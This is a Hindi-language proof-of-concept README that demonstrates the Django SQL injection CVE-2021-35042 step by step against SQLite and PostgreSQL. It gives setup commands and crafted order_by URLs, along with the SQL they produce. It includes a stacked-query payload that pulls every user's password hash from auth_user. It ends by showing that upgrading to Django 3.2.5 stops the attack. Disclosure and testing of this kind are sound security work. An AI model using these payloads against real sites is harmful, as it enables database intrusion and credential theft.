
Django SQL इंजेक्शन (CVE-2021-35042) को प्रदर्शित करने वाली इंटरैक्टिव प्रमाण-अवधारणा, जिसमें SQLite और PostgreSQL डेटाबेस के विरुद्ध चरण-दर-चरण शोषण शामिल है।
Django SQL इंजेक्शन बग
प्रश्न: यह कितना शोषणीय है, इसका पता लगाएं?
उत्तर: मैं भयभीत हूँ।
poetry install
poetry run ./manage.py migrate
poetry run ./manage.py loaddata dummydata.json
poetry run ./manage.py runserver
http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22 पर जाएं
ध्यान दें कि ?order_by पैरामीटर एक कॉलम "core_things_tags"."things_id" के लिए Raw SQL संदर्भ पास कर रहा है।
यह लगभग उतना ही है जितना आप प्राप्त कर सकते हैं: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- जो पहली SQL क्वेरी को बंद करता है और निम्नलिखित SQL में अनुवाद करता है:
SELECT "core_things"."id",
"core_things"."name",
COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
"core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()
जो इस त्रुटि के साथ विफल होता है:
Warning at /
You can only execute one statement at a time.
यह सिर्फ इसलिए है क्योंकि sqlite एक बार में केवल 1 क्वेरी चला सकता है।
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server
poetry run ./manage.py migrate
poetry run ./manage.py loaddata dummydata.json
poetry run ./manage.py createsuperuser # निर्देशों का पालन करें
जो निम्नलिखित SQL चलाता है:
SELECT "core_things"."id",
"core_things"."name",
COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
"core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;
अब आप मूलतः कुछ भी कर सकते हैं। यह क्वेरी प्रत्येक उपयोगकर्ता के लिए पासवर्ड हैश चुरा लेती है।
अब अस्थायी रूप से django अपग्रेड करें
poetry shell
pip install Django==3.2.5
उपरोक्त URL पर पुनः जाएं और ध्यान दें कि यह अब काम नहीं करता:
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags